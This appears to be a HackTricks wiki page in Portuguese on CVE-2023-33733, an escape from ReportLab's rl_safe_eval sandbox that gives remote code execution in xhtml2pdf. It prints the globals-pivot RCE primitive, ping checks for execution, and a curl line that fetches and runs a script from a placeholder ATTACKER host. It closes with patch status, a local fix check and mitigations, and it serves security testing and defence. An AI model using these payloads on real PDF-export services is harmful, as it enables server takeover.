ReportLab/xhtml2pdf [[[…]]] expression-evaluation RCE (CVE-2023-33733)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Esta página documenta um escape prático do sandbox e um primitivo de RCE no rl_safe_eval do ReportLab usado por xhtml2pdf e outros pipelines de geração de PDF ao renderizar HTML controlado pelo usuário em PDFs.
CVE-2023-33733 afeta versões do ReportLab até e incluindo 3.6.12. Em certos contextos de atributo (por exemplo color), valores embalados em triple brackets [[[ … ]]] são avaliados no servidor por rl_safe_eval. Ao criar um payload que pivota de um builtin na whitelist (pow) para os globals da função Python, um atacante pode alcançar o módulo os e executar comandos.
Pontos-chave
- Gatilho: injete [[[ … ]]] em atributos avaliados como dentro de marcação analisada por ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval substitui builtins perigosos, mas funções avaliadas ainda expõem globals.
- Bypass: crie uma classe transitória Word para contornar as verificações de nome do rl_safe_eval e acessar a string “globals” evitando o filtro de dunders bloqueados.
- RCE:
getattr(pow, Word('__globals__'))['os'].system('<cmd>') - Estabilidade: Retorne um valor válido para o atributo após a execução (para color, use and ‘red’).
Quando testar
- Aplicações que expõem exportação HTML-para-PDF (profiles, invoices, reports) e mostram xhtml2pdf/ReportLab nos metadados do PDF ou em comentários da resposta HTTP.
- exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
- A resposta HTTP para PDF frequentemente começa com um comentário do generator do ReportLab
Como o bypass do sandbox funciona
- rl_safe_eval remove ou substitui muitos builtins (getattr, type, pow, …) e aplica filtragem de nomes para negar atributos que começam com __ ou que estão numa denylist.
- Entretanto, funções seguras vivem em um dicionário globals acessível como func.globals.
- Use type(type(1)) para recuperar a função builtin real type (contornando o wrapper do ReportLab), então defina uma classe Word derivada de str com comportamento de comparação mutado de forma que:
- .startswith(‘’) → sempre False (contorna a verificação name startswith(‘’))
- .eq retorna False apenas na primeira comparação (contorna as verificações de membership da denylist) e True posteriormente (assim getattr do Python funciona)
- .hash igual a hash(str(self))
- Com isso, getattr(pow, Word(‘globals’)) retorna o dict de globals da função pow empacotada, que inclui um módulo os importado. Depois:
['os'].system('<cmd>').
Padrão mínimo de exploração (exemplo em atributo) Coloque o payload dentro de um atributo avaliado e assegure que ele retorne um valor válido para o atributo via boolean e ‘red’.
- A forma por list-comprehension permite uma expressão única aceitável ao rl_safe_eval.
- O sufixo and ‘red’ retorna uma cor CSS válida para que a renderização não quebre.
- Substitua o comando conforme necessário; use ping para validar execução com tcpdump.
Fluxo operacional
- Identificar o gerador de PDF
- PDF Producer mostra xhtml2pdf; a resposta HTTP contém comentário do ReportLab.
- Encontrar uma entrada refletida no PDF (por exemplo, profile bio/description) e acionar uma exportação.
- Verificar execução com ICMP de baixo ruído
- Execute:
sudo tcpdump -ni <iface> icmp - Payload: …
system('ping <your_ip>')… - Windows frequentemente envia exatamente quatro echo requests por padrão.
- Estabelecer um shell
- Para Windows, uma abordagem confiável em duas etapas evita problemas de quoting/encoding:
- Stage 1 (download):
- Stage 2 (execute):
- Para alvos Linux, uma abordagem similar em duas etapas com curl/wget é possível:
- system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)
Notas e dicas
- Contextos de atributo: color é um atributo conhecido que é avaliado; outros atributos na marcação do ReportLab também podem avaliar expressões. Se um local for sanitizado, tente outros renderizados no fluxo do PDF (diferentes campos, estilos de tabela, etc.).
- Quoting: Mantenha os comandos compactos. Downloads em duas etapas reduzem drasticamente problemas de quoting e escaping.
- Confiabilidade: Se as exportações forem cacheadas ou enfileiradas, varie ligeiramente o payload (por exemplo, caminho aleatório ou query) para evitar caches.
Status do patch (2024–2025) e identificação de backports
- 3.6.13 (27 Apr 2023) reescreveu
colors.toColorpara um parser baseado em AST-walk; releases 4.x mais recentes mantêm esse caminho. Forçarrl_settings.toColorCanUsepararl_safe_evalourl_extended_literal_evalreativa o avaliador vulnerável mesmo em versões atuais. - Várias distribuições entregam correções backportadas enquanto mantêm números de versão como 3.6.12-1+deb12u1; não confie apenas no versionamento semântico. Grep
colors.pyporast.parseou inspecionetoColorem runtime para confirmar que o parser seguro está em uso (veja o quick check abaixo). - Quick local check to see whether the AST-based fix is present:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY
Mitigações e detecção
- Atualize o ReportLab para 3.6.13 ou posterior (CVE-2023-33733 corrigido). Monitore também avisos de segurança nos pacotes da distro.
- Não alimente HTML/marcação controlada pelo usuário diretamente no xhtml2pdf/ReportLab sem sanitização estrita. Remova/negue [[[…]]] construtos de avaliação e tags específicas do fornecedor quando a entrada não for confiável.
- Considere desabilitar ou encapsular totalmente o uso de rl_safe_eval para entradas não confiáveis.
- Monitore por conexões de saída suspeitas durante a geração de PDFs (por exemplo, ICMP/HTTP de servidores de aplicação ao exportar documentos).
References
- PoC and technical analysis: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): HTB: University
- NVD entry (affected versions): CVE-2023-33733
- xhtml2pdf docs (markup/page concepts): xhtml2pdf docs
- ReportLab 3.6.13 release notes (AST rewrite of toColor): What’s New in 3.6.13
- Debian security tracker showing backported fixes with unchanged minor versions: Debian tracker CVE-2023-33733
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


